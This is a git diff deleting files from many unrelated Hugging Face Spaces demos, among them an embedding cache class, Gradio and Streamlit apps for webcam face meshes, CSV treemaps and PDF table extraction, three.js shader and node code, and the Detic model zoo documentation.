-                self.data.embeddings,
-                vector,
-            ],
-            axis=0,
-        )
-
-        with open(self.filename, "wb") as f:
-            out = orjson.dumps(self.data, option=SAVE_OPTIONS)
-            f.write(out)
-        return text
-
-    def clear(self) -> str:
-        """
-        Clears the redis server.
-
-        Returns: A message indicating that the memory has been cleared.
-        """
-        self.data = CacheContent()
-        return "Obliviated"
-
-    def get(self, data: str) -> list[Any] | None:
-        """
-        Gets the data from the memory that is most relevant to the given data.
-
-        Args:
-            data: The data to compare to.
-
-        Returns: The most relevant data.
-        """
-        return self.get_relevant(data, 1)
-
-    def get_relevant(self, text: str, k: int) -> list[Any]:
-        """ "
-        matrix-vector mult to find score-for-each-row-of-matrix
-         get indices for top-k winning scores
-         return texts for those indices
-        Args:
-            text: str
-            k: int
-
-        Returns: List[str]
-        """
-        embedding = create_embedding_with_ada(text)
-
-        scores = np.dot(self.data.embeddings, embedding)
-
-        top_k_indices = np.argsort(scores)[-k:][::-1]
-
-        return [self.data.texts[i] for i in top_k_indices]
-
-    def get_stats(self) -> tuple[int, tuple[int, ...]]:
-        """
-        Returns: The stats of the local cache.
-        """
-        return len(self.data.texts), self.data.embeddings.shape
diff --git a/spaces/awacke1/Biomed-NER-AI-NLP-CT-Demo1/README.md b/spaces/awacke1/Biomed-NER-AI-NLP-CT-Demo1/README.md
deleted file mode 100644
index 6f7a0384dcba623b645571472b4dda1fd7052045..0000000000000000000000000000000000000000
--- a/spaces/awacke1/Biomed-NER-AI-NLP-CT-Demo1/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Biomed NER AI NLP CT Demo1
-emoji: 👀
-colorFrom: yellow
-colorTo: yellow
-sdk: gradio
-sdk_version: 3.17.0
-app_file: app.py
-pinned: false
-license: mit
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/awacke1/StreamlitCSVFiletoPlotlyExpress/app.py b/spaces/awacke1/StreamlitCSVFiletoPlotlyExpress/app.py
deleted file mode 100644
index abfec8146cde8563d2e5edb048c1443389baf062..0000000000000000000000000000000000000000
--- a/spaces/awacke1/StreamlitCSVFiletoPlotlyExpress/app.py
+++ /dev/null
@@ -1,14 +0,0 @@
-import streamlit as st
-import plotly.express as px
-import pandas as pd
-
-st.title("Tree Map Visualization")
-
-st.text("Upload your CSV file:")
-
-csv_file = st.file_uploader("Choose a CSV file", type="csv")
-
-if csv_file is not None:
-    data = pd.read_csv(csv_file)
-    fig = px.treemap(data, path=['Column1','Column2','Column3'])
-    st.plotly_chart(fig)
\ No newline at end of file
diff --git a/spaces/awacke1/Webcam-Stream-Mesh-Landmark-AI/app.py b/spaces/awacke1/Webcam-Stream-Mesh-Landmark-AI/app.py
deleted file mode 100644
index d9fb4dec262db820913e4f4bee5c4980a496251e..0000000000000000000000000000000000000000
--- a/spaces/awacke1/Webcam-Stream-Mesh-Landmark-AI/app.py
+++ /dev/null
@@ -1,180 +0,0 @@
-import cv2
-import gradio as gr
-import mediapipe as mp
-#import dlib
-import imutils
-import numpy as np
-
-
-mp_drawing = mp.solutions.drawing_utils
-mp_drawing_styles = mp.solutions.drawing_styles
-mp_face_mesh = mp.solutions.face_mesh
-mp_face_detection = mp.solutions.face_detection
-
-
-def apply_media_pipe_face_detection(image):
-    with mp_face_detection.FaceDetection(
-            model_selection=1, min_detection_confidence=0.5) as face_detection:
-        results = face_detection.process(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))
-        if not results.detections:
-            return image
-        annotated_image = image.copy()
-        for detection in results.detections:
-            mp_drawing.draw_detection(annotated_image, detection)
-        return annotated_image
-
-
-def apply_media_pipe_facemesh(image):
-    with mp_face_mesh.FaceMesh(
-            static_image_mode=True,
-            max_num_faces=1,
-            refine_landmarks=True,
-            min_detection_confidence=0.5) as face_mesh:
-        results = face_mesh.process(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))
-        if not results.multi_face_landmarks:
-            return image
-        annotated_image = image.copy()
-        for face_landmarks in results.multi_face_landmarks:
-            mp_drawing.draw_landmarks(
-              image=annotated_image,
-              landmark_list=face_landmarks,
-              connections=mp_face_mesh.FACEMESH_TESSELATION,
-              landmark_drawing_spec=None,
-              connection_drawing_spec=mp_drawing_styles
-              .get_default_face_mesh_tesselation_style())
-            mp_drawing.draw_landmarks(
-              image=annotated_image,
-              landmark_list=face_landmarks,
-              connections=mp_face_mesh.FACEMESH_CONTOURS,
-              landmark_drawing_spec=None,
-              connection_drawing_spec=mp_drawing_styles
-              .get_default_face_mesh_contours_style())
-            mp_drawing.draw_landmarks(
-              image=annotated_image,
-              landmark_list=face_landmarks,
-              connections=mp_face_mesh.FACEMESH_IRISES,
-              landmark_drawing_spec=None,
-              connection_drawing_spec=mp_drawing_styles
-              .get_default_face_mesh_iris_connections_style())
-            return annotated_image
-
-class FaceProcessing(object):
-    def __init__(self, ui_obj):
-        self.name = "Face Image Processing"
-        self.description = "Call for Face Image and video Processing"
-        self.ui_obj = ui_obj
-
-    def take_webcam_photo(self, image):
-        return image
-
-    def take_webcam_video(self, images):
-        return images
-
-    def mp_webcam_photo(self, image):
-        return image
-
-    def mp_webcam_face_mesh(self, image):
-        mesh_image = apply_media_pipe_facemesh(image)
-        return mesh_image
-
-    def mp_webcam_face_detection(self, image):
-        face_detection_img = apply_media_pipe_face_detection(image)
-        return face_detection_img
-
-    def webcam_stream_update(self, video_frame):
-        video_out = face_orientation_obj.create_orientation(video_frame)
-        return video_out
-
-    def create_ui(self):
-        with self.ui_obj:
-            gr.Markdown("Face Analysis with Webcam/Video")
-            with gr.Tabs():
-                with gr.TabItem("Playing with Webcam"):
-                    with gr.Row():
-                        webcam_image_in = gr.Image(label="Webcam Image Input", source="webcam")
-                        webcam_video_in = gr.Video(label="Webcam Video Input", source="webcam")
-                    with gr.Row():
-                        webcam_photo_action = gr.Button("Take the Photo")
-                        webcam_video_action = gr.Button("Take the Video")
-                    with gr.Row():
-                        webcam_photo_out = gr.Image(label="Webcam Photo Output")
-                        webcam_video_out = gr.Video(label="Webcam Video")
-                with gr.TabItem("Mediapipe Facemesh with Webcam"):
-                    with gr.Row():
-                        with gr.Column():
-                            mp_image_in = gr.Image(label="Webcam Image Input", source="webcam")
-                        with gr.Column():
-                            mp_photo_action = gr.Button("Take the Photo")
-                            mp_apply_fm_action = gr.Button("Apply Face Mesh the Photo")
-                            mp_apply_landmarks_action = gr.Button("Apply Face Landmarks the Photo")
-                    with gr.Row():
-                        mp_photo_out = gr.Image(label="Webcam Photo Output")
-                        mp_fm_photo_out = gr.Image(label="Face Mesh Photo Output")
-                        mp_lm_photo_out = gr.Image(label="Face Landmarks Photo Output")
-                with gr.TabItem("Face Orientation on Live Webcam Stream"):
-                    with gr.Row():
-                        webcam_stream_in = gr.Image(label="Webcam Stream Input",
-                                                    source="webcam",
-                                                    streaming=True)
-                        webcam_stream_out = gr.Image(label="Webcam Stream Output")
-                        webcam_stream_in.change(
-                            self.webcam_stream_update,
-                            inputs=webcam_stream_in,
-                            outputs=webcam_stream_out
-                        )
-                        
-            mp_photo_action.click(
-                self.mp_webcam_photo,
-                [
-                    mp_image_in
-                ],
-                [
-                    mp_photo_out
-                ]
-            )
-            mp_apply_fm_action.click(
-                self.mp_webcam_face_mesh,
-                [
-                    mp_image_in
-                ],
-                [
-                    mp_fm_photo_out
-                ]
-            )
-            mp_apply_landmarks_action.click(
-                self.mp_webcam_face_detection,
-                [
-                    mp_image_in
-                ],
-                [
-                    mp_lm_photo_out
-                ]
-            )
-            webcam_photo_action.click(
-                self.take_webcam_photo,
-                [
-                    webcam_image_in
-                ],
-                [
-                    webcam_photo_out
-                ]
-            )
-            webcam_video_action.click(
-                self.take_webcam_video,
-                [
-                    webcam_video_in
-                ],
-                [
-                    webcam_video_out
-                ]
-            )
-
-    def launch_ui(self):
-        self.ui_obj.launch()
-
-
-if __name__ == '__main__':
-    my_app = gr.Blocks()
-    face_ui = FaceProcessing(my_app)
-    face_ui.create_ui()
-    face_ui.launch_ui()
\ No newline at end of file
diff --git a/spaces/azizalto/youtube_downloader/README.md b/spaces/azizalto/youtube_downloader/README.md
deleted file mode 100644
index 684f7b9414abce7b0a807a8295b2a94dba6560cb..0000000000000000000000000000000000000000
--- a/spaces/azizalto/youtube_downloader/README.md
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: Youtube_downloader
-emoji: ⚡
-colorFrom: indigo
-colorTo: pink
-sdk: streamlit
-app_file: app.py
-pinned: false
----
-
-# Configuration
-
-`title`: _string_  
-Display title for the Space
-
-`emoji`: _string_  
-Space emoji (emoji-only character allowed)
-
-`colorFrom`: _string_  
-Color for Thumbnail gradient (red, yellow, green, blue, indigo, purple, pink, gray)
-
-`colorTo`: _string_  
-Color for Thumbnail gradient (red, yellow, green, blue, indigo, purple, pink, gray)
-
-`sdk`: _string_  
-Can be either `gradio` or `streamlit`
-
-`sdk_version` : _string_  
-Only applicable for `streamlit` SDK.  
-See [doc](https://hf.co/docs/hub/spaces) for more info on supported versions.
-
-`app_file`: _string_  
-Path to your main application file (which contains either `gradio` or `streamlit` Python code).  
-Path is relative to the root of the repository.
-
-`pinned`: _boolean_  
-Whether the Space stays on top of your list.
diff --git a/spaces/banana-projects/web3d/node_modules/three/examples/js/nodes/inputs/RTTNode.js b/spaces/banana-projects/web3d/node_modules/three/examples/js/nodes/inputs/RTTNode.js
deleted file mode 100644
index b6065b50e9ff2703248d906df14d777d4789ff37..0000000000000000000000000000000000000000
--- a/spaces/banana-projects/web3d/node_modules/three/examples/js/nodes/inputs/RTTNode.js
+++ /dev/null
@@ -1,147 +0,0 @@
-/**
- * @author sunag / http://www.sunag.com.br/
- */
-
-import { NodeMaterial } from '../materials/NodeMaterial.js';
-import { TextureNode } from './TextureNode.js';
-
-function RTTNode( width, height, input, options ) {
-
-	options = options || {};
-
-	this.input = input;
-
-	this.clear = options.clear !== undefined ? options.clear : true;
-
-	this.renderTarget = new THREE.WebGLRenderTarget( width, height, options );
-
-	this.material = new NodeMaterial();
-
-	this.camera = new THREE.OrthographicCamera( - 1, 1, 1, - 1, 0, 1 );
-	this.scene = new THREE.Scene();
-
-	this.quad = new THREE.Mesh( new THREE.PlaneBufferGeometry( 2, 2 ), this.material );
-	this.quad.frustumCulled = false; // Avoid getting clipped
-	this.scene.add( this.quad );
-
-	this.render = true;
-
-	TextureNode.call( this, this.renderTarget.texture );
-
-}
-
-RTTNode.prototype = Object.create( TextureNode.prototype );
-RTTNode.prototype.constructor = RTTNode;
-RTTNode.prototype.nodeType = "RTT";
-
-RTTNode.prototype.build = function ( builder, output, uuid ) {
-
-	var rttBuilder = new THREE.NodeBuilder();
-	rttBuilder.nodes = builder.nodes;
-	rttBuilder.updaters = builder.updaters;
-
-	this.material.fragment.value = this.input;
-	this.material.build( { builder: rttBuilder } );
-
-	return TextureNode.prototype.build.call( this, builder, output, uuid );
-
-};
-
-RTTNode.prototype.updateFramesaveTo = function ( frame ) {
-
-	this.saveTo.render = false;
-
-	if ( this.saveTo !== this.saveToCurrent ) {
-
-		if ( this.saveToMaterial ) this.saveToMaterial.dispose();
-
-		var material = new NodeMaterial();
-		material.fragment.value = this;
-		material.build();
-
-		var scene = new THREE.Scene();
-
-		var quad = new THREE.Mesh( new THREE.PlaneBufferGeometry( 2, 2 ), material );
-		quad.frustumCulled = false; // Avoid getting clipped
-		scene.add( quad );
-
-		this.saveToScene = scene;
-		this.saveToMaterial = material;
-
-	}
-
-	this.saveToCurrent = this.saveTo;
-
-	frame.renderer.setRenderTarget( this.saveTo.renderTarget );
-	if ( this.saveTo.clear ) frame.renderer.clear();
-	frame.renderer.render( this.saveToScene, this.camera );
-
-};
-
-RTTNode.prototype.updateFrame = function ( frame ) {
-
-	if ( frame.renderer ) {
-
-		// from the second frame
-
-		if ( this.saveTo && this.saveTo.render === false ) {
-
-			this.updateFramesaveTo( frame );
-
-		}
-
-		if ( this.render ) {
-
-			if ( this.material.uniforms.renderTexture ) {
-
-				this.material.uniforms.renderTexture.value = frame.renderTexture;
-
-			}
-
-			frame.renderer.setRenderTarget( this.renderTarget );
-			if ( this.clear ) frame.renderer.clear();
-			frame.renderer.render( this.scene, this.camera );
-
-		}
-
-		// first frame
-
-		if ( this.saveTo && this.saveTo.render === true ) {
-
-			this.updateFramesaveTo( frame );
-
-		}
-
-	} else {
-
-		console.warn( "RTTNode need a renderer in NodeFrame" );
-
-	}
-
-};
-
-RTTNode.prototype.copy = function ( source ) {
-
-	TextureNode.prototype.copy.call( this, source );
-
-	this.saveTo = source.saveTo;
-
-};
-
-RTTNode.prototype.toJSON = function ( meta ) {
-
-	var data = this.getJSONNode( meta );
-
-	if ( ! data ) {
-
-		data = THREE.TextureNode.prototype.toJSON.call( this, meta );
-
-		if ( this.saveTo ) data.saveTo = this.saveTo.toJSON( meta ).uuid;
-
-	}
-
-	return data;
-
-};
-
-export { RTTNode };
diff --git a/spaces/banana-projects/web3d/node_modules/three/src/renderers/shaders/ShaderLib/depth_frag.glsl.js b/spaces/banana-projects/web3d/node_modules/three/src/renderers/shaders/ShaderLib/depth_frag.glsl.js
deleted file mode 100644
index c1a75b1caf9c8ae7a947e37658e0806136bcc767..0000000000000000000000000000000000000000
--- a/spaces/banana-projects/web3d/node_modules/three/src/renderers/shaders/ShaderLib/depth_frag.glsl.js
+++ /dev/null
@@ -1,45 +0,0 @@
-export default /* glsl */`
-#if DEPTH_PACKING == 3200
-
-	uniform float opacity;
-
-#endif
-
-#include <common>
-#include <packing>
-#include <uv_pars_fragment>
-#include <map_pars_fragment>
-#include <alphamap_pars_fragment>
-#include <logdepthbuf_pars_fragment>
-#include <clipping_planes_pars_fragment>
-
-void main() {
-
-	#include <clipping_planes_fragment>
-
-	vec4 diffuseColor = vec4( 1.0 );
-
-	#if DEPTH_PACKING == 3200
-
-		diffuseColor.a = opacity;
-
-	#endif
-
-	#include <map_fragment>
-	#include <alphamap_fragment>
-	#include <alphatest_fragment>
-
-	#include <logdepthbuf_fragment>
-
-	#if DEPTH_PACKING == 3200
-
-		gl_FragColor = vec4( vec3( 1.0 - gl_FragCoord.z ), opacity );
-
-	#elif DEPTH_PACKING == 3201
-
-		gl_FragColor = packDepthToRGBA( gl_FragCoord.z );
-
-	#endif
-
-}
-`;
diff --git a/spaces/beihai/PDF-Table-Extractor/README.md b/spaces/beihai/PDF-Table-Extractor/README.md
deleted file mode 100644
index 7843a393940f9faf8642ce79824fc6da187f525b..0000000000000000000000000000000000000000
--- a/spaces/beihai/PDF-Table-Extractor/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: PDF Table Extractor
-emoji: 🐠
-colorFrom: pink
-colorTo: gray
-sdk: streamlit
-sdk_version: 1.10.0
-app_file: app.py
-pinned: false
-license: bsd-3-clause-clear
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/beihai/PDF-Table-Extractor/app.py b/spaces/beihai/PDF-Table-Extractor/app.py
deleted file mode 100644
index 689b66e79ad39f3c58054e346bad35df6d88d3da..0000000000000000000000000000000000000000
--- a/spaces/beihai/PDF-Table-Extractor/app.py
+++ /dev/null
@@ -1,27 +0,0 @@
-#-*- coding : utf-8-*-
-import base64
-from subprocess import STDOUT 
-import streamlit as st
-import pandas as pd 
-import camelot as cam # extracting tables from PDFs 
-
-st.title("PDF Table Extractor")
-input_pdf = st.file_uploader(label = "", type = 'pdf')
-background = st.selectbox("表格线条是否透明",(False,True))
-page_number = st.text_input("请填写表格所在PDF页码，eg: 3, 1-3, 2-end, all", value = 1)
-
-if input_pdf is not None:
-    # byte object into a PDF file 
-    with open("input.pdf", "wb") as f:
-        base64_pdf = base64.b64encode(input_pdf.read()).decode('utf-8')
-        f.write(base64.b64decode(base64_pdf))
-    f.close()
-    tables_all= cam.read_pdf("input.pdf", pages=page_number, process_background=background)
-    result_all = pd.ExcelWriter("result.xlsx", engine='xlsxwriter') 
-    for i in range(0,len(tables_all)):
-        table = tables_all[i].df
-        sheetname = str(i)
-        table.to_excel(result_all, sheetname,index=False) 
-    result_all.save()
-    with open(result_all,'rb') as f:
-       st.download_button('抽取完成, 点击下载！', f,file_name="result.xlsx",mime="application/vnd.ms-excel")
\ No newline at end of file
diff --git a/spaces/betterme/mestreamlit/pages/992_streamlit_chat.py b/spaces/betterme/mestreamlit/pages/992_streamlit_chat.py
deleted file mode 100644
index 0e918059fa067768bb4672d84c768de10a987460..0000000000000000000000000000000000000000
--- a/spaces/betterme/mestreamlit/pages/992_streamlit_chat.py
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/usr/bin/env python
-# -*- coding: utf-8 -*-
-# @Project      : Python.
-# @File         : 991_streamlit_apex_charts
-# @Time         : 2022/10/17 上午10:48
-# @Author       : yuanjie
-# @WeChat       : meutils
-# @Software     : PyCharm
-# @Description  : 
-import streamlit as st
-from streamlit_chat import message
-
-message_history = ["展示信息"]
-
-for message_ in message_history:
-    message(message_)  # display all the previous message
-
-placeholder = st.empty()  # placeholder for latest message
-input_ = st.text_input("you:")
-message_history.append(input_)
-
-with placeholder.container():
-    message(message_history[-1], )  # display the latest message
-    message(message_history[-1], is_user=True)  # align's the message to the right
diff --git a/spaces/betterme/mestreamlit/x.html b/spaces/betterme/mestreamlit/x.html
deleted file mode 100644
index 335f904fc9cef3caee08dfaa34d20ffe94d17304..0000000000000000000000000000000000000000
--- a/spaces/betterme/mestreamlit/x.html
+++ /dev/null
@@ -1,9 +0,0 @@
-<marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"  bgcolor="#00FF00">
-
-  <marquee behavior="alternate">
-
-    会飞的文字
-
-  </marquee>
-
-</marquee>
\ No newline at end of file
diff --git a/spaces/bguberfain/Detic/docs/MODEL_ZOO.md b/spaces/bguberfain/Detic/docs/MODEL_ZOO.md
deleted file mode 100644
index db047c2e9bc080310c0e28f2f84a8243a7bcac1a..0000000000000000000000000000000000000000
--- a/spaces/bguberfain/Detic/docs/MODEL_ZOO.md
+++ /dev/null
@@ -1,121 +0,0 @@
-# Detic model zoo
-
-## Introduction
-
-This file documents a collection of models reported in our paper.
-The training time was measured on [Big Basin](https://engineering.fb.com/data-center-engineering/introducing-big-basin-our-next-generation-ai-hardware/)
-servers with 8 NVIDIA V100 GPUs & NVLink.
-
-#### How to Read the Tables
-
-The "Name" column contains a link to the config file. 
-To train a model, run 
-
-```
-python train_net.py --num-gpus 8 --config-file /path/to/config/name.yaml
-``` 
-
-To evaluate a model with a trained/ pretrained model, run 
-
-```
-python train_net.py --num-gpus 8 --config-file /path/to/config/name.yaml --eval-only MODEL.WEIGHTS /path/to/weight.pth
-``` 
-
-#### Third-party ImageNet-21K Pretrained Models
-
-Our paper uses ImageNet-21K pretrained models that are not part of Detectron2 (ResNet-50-21K from [MIIL](https://github.com/Alibaba-MIIL/ImageNet21K) and SwinB-21K from [Swin-Transformer](https://github.com/microsoft/Swin-Transformer)). Before training, 
-please download the models and place them under `DETIC_ROOT/models/`, and following [this tool](../tools/convert-thirdparty-pretrained-model-to-d2.py) to convert the format.
-
-
-## Open-vocabulary LVIS
-
-|         Name          |Training time |  mask mAP | mask mAP_novel  | Download |
-|-----------------------|------------------|-----------|-----------------|----------|
-|[Box-Supervised_C2_R50_640_4x](../configs/BoxSup-C2_Lbase_CLIP_R5021k_640b64_4x.yaml)     | 17h | 30.2      |       16.4      | [model](https://dl.fbaipublicfiles.com/detic/BoxSup-C2_Lbase_CLIP_R5021k_640b64_4x.pth) |
-|[Detic_C2_IN-L_R50_640_4x](../configs/Detic_LbaseI_CLIP_R5021k_640b64_4x_ft4x_max-size.yaml) | 22h | 32.4      |       24.9      | [model](https://dl.fbaipublicfiles.com/detic/Detic_LbaseI_CLIP_R5021k_640b64_4x_ft4x_max-size.pth) |
-|[Detic_C2_CCimg_R50_640_4x](../configs/Detic_LbaseCCimg_CLIP_R5021k_640b64_4x_ft4x_max-size.yaml) | 22h | 31.0      |       19.8      | [model](https://dl.fbaipublicfiles.com/detic/Detic_LbaseCCimg_CLIP_R5021k_640b64_4x_ft4x_max-size.pth) |
-|[Detic_C2_CCcapimg_R50_640_4x](../configs/Detic_LbaseCCcapimg_CLIP_R5021k_640b64_4x_ft4x_max-size.yaml) | 22h | 31.0      |       21.3      | [model](https://dl.fbaipublicfiles.com/detic/Detic_LbaseCCcapimg_CLIP_R5021k_640b64_4x_ft4x_max-size.pth) |
-|[Box-Supervised_C2_SwinB_896_4x](../configs/BoxSup-C2_Lbase_CLIP_SwinB_896b32_4x.yaml)     | 43h | 38.4      |       21.9      | [model](https://dl.fbaipublicfiles.com/detic/BoxSup-C2_Lbase_CLIP_SwinB_896b32_4x.pth) |
-|[Detic_C2_IN-L_SwinB_896_4x](../configs/Detic_LbaseI_CLIP_SwinB_896b32_4x_ft4x_max-size.yaml) | 47h | 40.7      |       33.8      | [model](https://dl.fbaipublicfiles.com/detic/Detic_LbaseI_CLIP_SwinB_896b32_4x_ft4x_max-size.pth) |
-
-
-#### Note
-
-- The open-vocabulary LVIS setup is LVIS without rare class annotations in training. We evaluate rare classes as novel classes in testing.
-
-- The models with `C2` are trained using our improved LVIS baseline (Appendix D of the paper), including CenterNet2 detector, Federated Loss, large-scale jittering, etc.
-
-- All models use [CLIP](https://github.com/openai/CLIP) embeddings as classifiers. This makes the box-supervised models have non-zero mAP on novel classes.
-
-- The models with `IN-L` use the overlap classes between ImageNet-21K and LVIS as image-labeled data.
-
--  The models with `CC` use Conception Captions. `CCimg` uses image labels extracted from the captions (using a naive text-match) as image-labeled data. `CCcapimg` additionally uses the row captions (Appendix C of the paper).
-
-- The Detic models are finetuned on the corresponding Box-Supervised models above (indicated by MODEL.WEIGHTS in the config files). Please train or download the Box-Supervised model and place them under `DETIC_ROOT/models/` before training the Detic models.
-
-
-## Standard LVIS
-
-|         Name          |Training time |  mask mAP | mask mAP_rare  | Download |
-|-----------------------|------------------|-----------|-----------------|----------|
-|[Box-Supervised_C2_R50_640_4x](../configs/BoxSup-C2_L_CLIP_R5021k_640b64_4x.yaml)     | 17h | 31.5      |       25.6      | [model](https://dl.fbaipublicfiles.com/detic/BoxSup-C2_L_CLIP_R5021k_640b64_4x.pth) |
-|[Detic_C2_R50_640_4x](../configs/Detic_LI_CLIP_R5021k_640b64_4x_ft4x_max-size.yaml) | 22h | 33.2      |       29.7      | [model](https://dl.fbaipublicfiles.com/detic/Detic_LI_CLIP_R5021k_640b64_4x_ft4x_max-size.pth) |
-|[Box-Supervised_C2_SwinB_896_4x](../configs/BoxSup-C2_L_CLIP_SwinB_896b32_4x.yaml)     | 43h | 40.7      |       35.9      | [model](https://dl.fbaipublicfiles.com/detic/BoxSup-C2_L_CLIP_SwinB_896b32_4x.pth) |
-|[Detic_C2_SwinB_896_4x](../configs/Detic_LI_CLIP_SwinB_896b32_4x_ft4x_max-size.yaml) | 47h | 41.7      |       41.7      | [model](https://dl.fbaipublicfiles.com/detic/Detic_LI_CLIP_SwinB_896b32_4x_ft4x_max-size.pth) |
-
-
-|         Name          |Training time |  box mAP | box mAP_rare  | Download |
-|-----------------------|------------------|-----------|-----------------|----------|
-|[Box-Supervised_DeformDETR_R50_2x](../configs/BoxSup-DeformDETR_L_R50_4x.yaml)   |  31h | 31.7 |  21.4     |  [model](https://dl.fbaipublicfiles.com/detic/BoxSup-DeformDETR_L_R50_4x.pth) |
-|[Detic_DeformDETR_R50_2x](configs/Detic_DeformDETR_LI_R50_4x_ft4x.yaml) | 47h | 32.5  | 26.2  | [model](https://dl.fbaipublicfiles.com/detic/Detic_DeformDETR_LI_R50_4x_ft4x.pth) |
-
-
-#### Note
-
-- All Detic models use the overlap classes between ImageNet-21K and LVIS as image-labeled data;
-
-- The models with `C2` are trained using our improved LVIS baseline in the paper, including CenterNet2 detector, Federated loss, large-scale jittering, etc.
-
-- The models with `DeformDETR` are Deformable DETR models. We train the models with Federated Loss.
-
-## Open-vocabulary COCO
-
-|         Name          |Training time |  box mAP50 | box mAP50_novel | Download |
-|-----------------------|------------------|-----------|-----------------|----------|
-|[BoxSup_CLIP_R50_1x](../configs/BoxSup_OVCOCO_CLIP_R50_1x.yaml)     | 12h | 39.3      |   1.3  | [model](https://dl.fbaipublicfiles.com/detic/BoxSup_OVCOCO_CLIP_R50_1x.pth) |
-|[Detic_CLIP_R50_1x_image](../configs/Detic_OVCOCO_CLIP_R50_1x_max-size.yaml)     |  13h | 44.7      |   24.1  | [model](https://dl.fbaipublicfiles.com/detic/Detic_OVCOCO_CLIP_R50_1x_max-size.pth) |
-|[Detic_CLIP_R50_1x_caption](../configs/Detic_OVCOCO_CLIP_R50_1x_caption.yaml)     | 16h | 43.8      |   21.0  | [model](https://dl.fbaipublicfiles.com/detic/Detic_OVCOCO_CLIP_R50_1x_caption.pth) |
-|[Detic_CLIP_R50_1x_caption-image](../configs/Detic_OVCOCO_CLIP_R50_1x_max-size_caption.yaml)     | 16h | 45.0      |   27.8 | [model](https://dl.fbaipublicfiles.com/detic/Detic_OVCOCO_CLIP_R50_1x_max-size_caption.pth) |
-
-#### Note
-
-- All models are trained with ResNet50-C4 without multi-scale augmentation. All models use CLIP embeddings as the classifier.
-
-- We extract class names from COCO-captions as image-labels. `Detic_CLIP_R50_1x_image` uses the max-size loss; `Detic_CLIP_R50_1x_caption` directly uses CLIP caption embedding within each mini-batch for classification; `Detic_CLIP_R50_1x_caption-image` uses both losses.
-
-- We report box mAP50 under the "generalized" open-vocabulary setting.
-
-
-## Cross-dataset evaluation 
-
-
-|         Name          |Training time |  Objects365 box mAP  | OpenImages box mAP50   | Download |
-|-----------------------|------------------|-----------|-----------------|----------|
-|[Box-Supervised_C2_SwinB_896_4x](../configs/BoxSup-C2_L_CLIP_SwinB_896b32_4x.yaml)     | 43h |  19.1  |  46.2    | [model](https://dl.fbaipublicfiles.com/detic/BoxSup-C2_L_CLIP_SwinB_896b32_4x.pth) |
-|[Detic_C2_SwinB_896_4x](../configs/Detic_LI_CLIP_SwinB_896b32_4x_ft4x_max-size.yaml) | 47h |   21.2  |53.0        | [model](https://dl.fbaipublicfiles.com/detic/Detic_LI_CLIP_SwinB_896b32_4x_ft4x_max-size.pth) |
-|[Detic_C2_SwinB_896_4x_IN-21K](../configs/Detic_LI21k_CLIP_SwinB_896b32_4x_ft4x_max-size.yaml) | 47h | 21.4    |   55.2     | [model](https://dl.fbaipublicfiles.com/detic/Detic_LI21k_CLIP_SwinB_896b32_4x_ft4x_max-size.pth) |
-|[Box-Supervised_C2_SwinB_896_4x+COCO](../configs/BoxSup-C2_LCOCO_CLIP_SwinB_896b32_4x.yaml)     | 43h |  19.7  |   46.4   | [model](https://dl.fbaipublicfiles.com/detic/BoxSup-C2_LCOCO_CLIP_SwinB_896b32_4x.pth) |
-|[Detic_C2_SwinB_896_4x_IN-21K+COCO](../configs/Detic_LCOCOI21k_CLIP_SwinB_896b32_4x_ft4x_max-sizeyaml) | 47h |  21.6   |    54.6    | [model](https://dl.fbaipublicfiles.com/detic/Detic_LCOCOI21k_CLIP_SwinB_896b32_4x_ft4x_max-size.pth) |
-
-
-#### Note
-
-- `Box-Supervised_C2_SwinB_896_4x` and `Detic_C2_SwinB_896_4x` are the same model in the [Standard LVIS](#standard-lvis) section, but evaluated with Objects365/ OpenImages vocabulary (i.e. CLIP embeddings of the corresponding class names as classifier). To run the evaluation on Objects365/ OpenImages, run 
-
-  ```
-  python train_net.py --num-gpus 8 --config-file configs/Detic_C2_SwinB_896_4x.yaml --eval-only DATASETS.TEST "('oid_val_expanded','objects365_v2_val',)" MODEL.RESET_CLS_TESTS True MODEL.TEST_CLASSIFIERS "('datasets/metadata/oid_clip_a+cname.npy','datasets/metadata/o365_clip_a+cnamefix.npy',)" MODEL.TEST_NUM_CLASSES "(500,365)" MODEL.MASK_ON False
-  ```
-
-- `Detic_C2_SwinB_896_4x_IN-21K` trains on the full ImageNet-22K. We additionally use a dynamic class sampling ("Modified Federated Loss" in Section 4.4) and use a larger data sampling ratio of ImageNet images (1:16 instead of 1:4).
-
-- `Detic_C2_SwinB_896_4x_IN-21K-COCO` is a model trained on combined LVIS-COCO and ImageNet-21K for better demo purposes. LVIS models do not detect persons well due to its federated annotation protocol. LVIS+COCO models give better visual results.
\ No newline at end of file
diff --git a/spaces/bigslime/stablediffusion-infinity/js/proceed.js b/spaces/bigslime/stablediffusion-infinity/js/proceed.js
deleted file mode 100644
index 11a726fa0902382e2515f3b32147bdaa0179aa9a..0000000000000000000000000000000000000000
--- a/spaces/bigslime/stablediffusion-infinity/js/proceed.js
+++ /dev/null
@@ -1,42 +0,0 @@
-function(sel_buffer_str,
-    prompt_text,
-    negative_prompt_text,
-    strength,
-    guidance,
-    step,
-    resize_check,
-    fill_mode,
-    enable_safety,
-    use_correction,
-    enable_img2img,
-    use_seed,
-    seed_val,
-    generate_num,
-    scheduler,
-    scheduler_eta,
-    state){
-    let app=document.querySelector("gradio-app");
-    app=app.shadowRoot??app;
-    sel_buffer=app.querySelector("#input textarea").value;
-    let use_correction_bak=false;
-    ({resize_check,enable_safety,use_correction_bak,enable_img2img,use_seed,seed_val}=window.config_obj);
-    return [
-        sel_buffer,
-        prompt_text,
-        negative_prompt_text,
-        strength,
-        guidance,
-        step,
-        resize_check,
-        fill_mode,
-        enable_safety,
-        use_correction,
-        enable_img2img,
-        use_seed,
-        seed_val,
-        generate_num,
-        scheduler,
-        scheduler_eta,
-        state,
-    ]
-}
\ No newline at end of file
diff --git a/spaces/billyyyyy/text_generator/app.py b/spaces/billyyyyy/text_generator/app.py
deleted file mode 100644
index aa766b814dfe4b8a1a4948c74d2529ce1337b2e4..0000000000000000000000000000000000000000
--- a/spaces/billyyyyy/text_generator/app.py
+++ /dev/null
